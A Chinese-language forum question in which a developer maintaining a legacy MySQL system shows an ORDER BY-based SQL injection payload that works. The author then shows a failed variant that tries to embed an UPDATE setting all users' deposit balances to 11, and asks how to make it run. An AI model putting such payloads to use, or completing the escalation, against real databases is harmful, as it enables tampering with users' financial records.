mysql - sql报错原因？

发现一个正在维护的老系统的基于orderBy的sql注入漏洞，准备验证一下，

我先执行这个sql注入，是可以的

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0

但是当我执行这个带update语句的sql时报错了：

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

报错

<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>

我应该如何让他执行update？